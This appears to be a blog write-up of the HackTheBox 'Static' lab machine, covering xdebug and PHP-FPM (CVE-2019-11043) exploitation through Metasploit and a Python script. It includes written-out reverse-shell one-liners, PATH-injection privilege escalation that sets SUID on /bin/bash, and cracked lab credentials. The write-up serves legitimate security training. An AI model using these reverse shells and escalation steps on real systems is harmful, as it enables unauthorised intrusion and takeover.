HackTheBox: Static

Link: https://app.hackthebox.eu/machines/Static

Enumeration

nmap version detection with -Pn to disable host discovery

Our port scan returns two available ssh ports running two different versions. We also have a web server on port 8080.

Web Server

I attempted to navigate to the web server but I just get a blank page. I used netcat to send a malformed request and the error mentions the server is www.static.htb

400 bad request

Setting both www.static.htb and static.htb in /etc/hosts still returns a blank page. A gobuster scan reveals a robots.txt file with the following contents:

User-agent: * 
Disallow: /vpn/ 
Disallow: /.ftp_uploads/

If we navigate to /vpn, it is just a login page. A gobuster scan reveals a /vpn/src directory with a 301 redirect to an IP range we do not have access to.

We can access /.ftp_uploads and there is a warning.txt that Binary files are being corrupted during transfer. We also have a db.sql.gz zipped file. If we try to unzip the file it fails. After several minutes of Googling, I found the gzip Recovery Toolkit here. We can install it with sudo apt-get install gzrt.

Next we can use it with gzrecover db.sql.gz and it drops a db.sql.recovered file. Using cat with this file reveals a mostly corrupted SQL file, that appears to have admin credentials. We need a better solution. I found fixgz from another StackOverflow post. The GitHub is here. We need to compile the tool from the source, use the tool, extract the file (if it works) then read it.

$ git clone https://github.com/yonjar/fixgz
$ cd fixgz
$ g++ fixgz.cpp -o fixgz
$ ./fixgz ~/Downloads/db.sql.gz  ~/Downloads/db.sql.fixed.gz
$ gunzip ~/Downloads/db.sql.fixed.gz
$ cat ~/Downloads/db.sql.fixed

Now we have a perfectly legible SQL file with username, password and totp!

CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) ); 
INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );

If we echo this to a file, we can crack it with john. It only takes a few seconds and returns back admin. It appears we have default admin/admin credentials for something, let’s try the login page we found earlier at /vpn/login.php. Now it asks us for a OTP. I googled totp to otp and found a generator that lets us paste the secret and it gives us a OTP code!

OTP Generator saves the day

Now that we are logged in, we can see several addresses and a form to generate:

vpn home page

I entered a common name of dev and clicked generate and it spits out an ovpn connection file. cat dev.ovpn shows it will try to connect to vpn.static.htb. I added this domain to my /etc/hosts. It allows us to connect. It spins on the pub server which is offline, but we cannot access any of the others.

IP list vs openvpn

I saw a net_route_v4_add statement that adds anything in the 172.17.0.0/24 range in, but nothing for the 172.20 range. We need to add our own route I believe. This article explains how we can do so.

I first ran ip r to see our current routes, we can see the 172.17.0.0/24 via 172.30.0.1 dev tun9 route that was created for us.

Now we can add our own via:

$ sudo ip route add 172.20.0.0/24 via 172.30.0.1 dev tun9

Navigating to 172.20.0.10 now works! I ran an nmap port scan on both 172.20.0.10 and 172.20.0.11. There is SSH on port 22 and HTTP on port 80 for .10, and port 3306, MySQL 5.5.5-10.4.12-MariaDB-1:10.4.12+maria~bionic on port 3306 on the IP ending in .11.

A gobuster scan reveals a database.php file in the /vpn directory:

database.php file in /vpn

If we can somehow read this file then we could grab credentials to use on the database. We also have a PHPInfo file as /info.php. I checked the currently active modules for vulnerabilities and this is what I found:

xdebug is a module that is not installed by default and allows for debugging. I searched and saw possible RCE exploits for 2.5.5 and below, and a few that did not have a version number attached. There is also a metasploit module for this. A nessus result shows more information here. Although our version is 2.6.0 which says should fix the issue, we can see from PHPinfo that xdebug.remote_connect_back is set to On so we may have a way in.

I used the exploit/unix/http/xdebug_unauth_exec module in metasploit. I left the default payload/php/meterpreter/reverse_tcp payload. We also need to set the following options:

msf6 > set LHOST tun9 # notice we use tun9 for the static.ovpn, not our HTB ovpn
msf6 > set RHOSTS 172.20.0.10 # our web box
msf6 > set PATH /vpn/login.php # the entry point for the web app
msf6 > exploit

We do get a meterpreter session! Running whoami shows we are www-data.

Web Server Discovery

With credentials to this, I first ran cat /proc/self/cgroup which confirms that we are inside of a docker container.

Next ls -la and let’s inspect some of the web app files. Most notably cat database.php gets us more credentials:

<?php
 $servername = "db";
 $username = "root";
 $password = "[email protected]";
 $dbname = "static";
?>

Another interesting file was panel.php. When a POST request is made, the following happens:

if(isset($_POST['cn'])){
                 $cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_POST['cn']);
                 header('Content-type: application/octet-stream');
                 header('Content-Disposition: attachment; filename="'.$cn.'.ovpn"');
                 $handle = curl_init();
                 $url = "http://pki/?cn=".$cn;
                 curl_setopt($handle, CURLOPT_URL, $url);
                 curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); 
                 $output = curl_exec($handle); 
                 curl_close($handle);
                 echo $output;
                 die();
         }

The http://pki is 192.168.254.3. If we cd /dev/shm (a commonly writable place) and run wget http://pki it drops an index.html file that says batch mode: /usr/bin/ersatool create|print|revoke CN. If we provide the ?cn= then it returns the ovpn file with the name we pass as a variable.

The /etc/hosts file also mentions a 192.168.254.2 which seems to be an identical server to 172.20.0.10, which is identical to the actual static.htb/vpn that we set in our own /etc/hosts file using the IP from HTB.

If we navigate to /home, there is a user.txt here along with a home folder for www-data. Inside of here is an id_rsa private key. I copied this to our attacking box and chmod 600 on it. We can use it to login with ssh [email protected] -i static_wwwdata. Now we have a backup way into this docker container without needing our meterpreter reverse shell.

That seems to be all that is of interest in the web docker instance. We can use the found credentials to connect to the mysql via mysql -h 172.20.0.11 -u root -p static and provide the password. Unfortunately, the only table is users and it contains the information we already found from the corrupted db.sql.gz file at the beginning. I tried using the private key for wwwdata on the actual box, and the password we found but neither works for either root or www-data on port 22.

I was stumped for a bit here, the secret seems to lie with the additional 192.168.254 network. We already ran a wget http://pki which translates to wget 192.168.254.3. If we use ssh port forwarding:

$ ssh -L 8001:192.168.254.3:80 [email protected] -i static_wwwdata

We can navigate to localhost:8001 to see the same /usr/bin/ersa tool we saw before. However, right clicking into the Network tab of Developer Tools gives us a header of X-Powered-By: PHP-FPM/7.1. A google search reveals a RCE vulnerability. That particular article is for a GO script. Another search revealed there is a metasploit module, exploit/multi/http/php_fpm_rce. Now we set the following options:

msf6 > set RHOSTS localhost
msf6 > set RPORT 8001
msf6 > set LHOST tun9
msf6 > set LPORT 4443
msf6 > exploit

It says the target is vulnerable and is able to send a command, but when it tries to send the payload it fails. My guess is we will need to find another script for CVE-2019-11403 that we can download onto the box itself as www-data and attempt to use it locally. The one from the medium article was go and we just used a metasploit module, neither of which will work on the target machine. I found a Python version of the script here, and running python3 on the web box shows we do have Python 3.6.9 installed so this should work.

# on my attacking kali box
$ https://raw.githubusercontent.com/theMiddleBlue/CVE-2019-11043/master/exploit.py
$ ifconfig tun9
$ python3 -m "http.server"

# as [email protected]
$ wget http://172.30.0.9:8000/exploit.py
$ python3 exploit.py --url http://192.168.254.3/index.php
exploit succeeded

We do not have curl on the web box, but we could use python.

We can specify commands via the full path such as usr/bin/whoami or /bin/ls. Let’s see if we can get a reverse shell running.

The easiest way to do this would be to create a python script with a reverse shell line in it and pass that to the payload. Our server on [email protected] will be the only one that can access the rev shell, so we will need to copy a nc binary to the server as well.

preliminary tests

When choosing my reverse shell, I could not get any output when doing bin/bash, but I could get output from python3. So I chose a python3 reverse shell from revshells.com. Running ifconfig on our 172.20.0.10 box returns the 192.168.254.2 address, we will use this IP for the reverse shell. I copied nc from my machine over to the box and our pwn script which is the following:

import requests

payload = 'usr/bin/python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("192.168.254.2",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")\''

r = requests.get('http://192.168.254.3/index.php?a=' + payload)

chmod +x both files, then with the nc binary started using ./nc -lvnp 4444, execute the pwn.py and we get a reverse shell as [email protected]!

[email protected]

We can cat the index.php file to see the /usr/bin/ersatool command that was used again. Running find / 2>/dev/null | grep "ersatool" also reveals source code in /usr/src/ersatool.c. Inside of the source code, there is a setuid(0) which means at some point, it elevates privileges to root in order to build the .ovpn file.

I learned of a tool a few boxes ago named pspy, this allows you to monitor background processes and what we can attempt to do it launch pspy, then run our /usr/bin/ersatool and see if it calls any other processes as root. I transferred pspy64 to the 172.20.0.10 box, now we need to transfer it to 192.168.254.3. I have three windows open, one with ./nc -lvnp 4444 that caught the [email protected] machine, another to open a python web server to transfer pspy64, and then the third as a backup in case we need it.

One hurdle I immediately noticed on [email protected] is that we have no nc, wget or curl. I found a stackexchange post that has some bash code to download files. I used the download() function and copy and pasted it over, then we can run download http://192.168.254.2:8000/pspy64 > pspy64.

pspy transferred!

Now we’re rolling! I set up yet another terminal window with SSH forwarding again. Now, we just navigate to localhost:8001/index.php?cn=test and let’s see what pspy64 shows:

pspy of http://localhost:8001/?cn=test

We can see that it calls sed and openssl version without specifiying a direct path (such as /usr/bin/openssl or /bin/sed). We can attempt to perform Path Injection here and create our own “binary” that contains a reverse shell. The following commands are being ran on [email protected]

$ cd /tmp && mkdir pwn && cd pwn
$ echo "/bin/bash -i >& /dev/tcp/192.168.254.2/4443 0>&1" > openssl
$ chmod +x openssl
$ export PATH=/tmp/pwn:$PATH

Now we just refresh the webpage to call the ersatool, unfortunately nothing happened so getting another reverse shell as root may be out of the question. What we can instead try to do is set the SUID of /bin/bash so we can just run it as root anyway.

So I wrote a quck script:

# on my machine
$ cat suid_bash.sh  
!/bin/bash
chmod u+s /bin/bash 

$ cat suid_bash.sh | base64
IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaA==

Now we can take the base64 encoded string and echo .. | base64 -d > openssl on our pki box like so:

$ echo "IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaA==" | base64 -d > openssl
$ chmod +x openssl

Finally we just need to run the script again. This time I opted to run it from the command line:

[email protected]:/tmp/pwn$ ersatool
# create
create->CN=a
...
create-> #press enter
# exit
[email protected]:/tmp/pwn$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash

The SUID bit was set! Now we just need to run /bin/bash -p to allow us to keep the elevated permissions as root from the SUID.

[email protected]:/tmp/pwn$ /bin/bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt

There is also a /root/notes.txt that contains resources on how the box was developed, which we had found throughout our journey to exploit the box anyway.

Conclusion

This box was amazing. I still don’t fully understand what is going on. From checking cat /proc/self/cgroup, the main IP we got from HTB just had several docker containers that were configured in such a way that it felt like we were connecting to multiple machines on a network. We had to hop from IP to IP in order to get user.txt and then finally root.txt. Using pspy64 was a tool I learned from an earlier box to inspect background processes and it came in handy to find the path injection vulnerability. I do not quite understand why the reverse shell method did not work, but fortunately setting SUID did work to allow us to elevate our privileges. I’m also surprised the flag was on 192.168.1.254.3, a docker container, and not on the main box itself. It’s nice that we did not have to do a docker escape, that would probably be the difference between a Hard and an Insane box.

Comments

No comments available.

Leave a Reply

Your email address will not be published.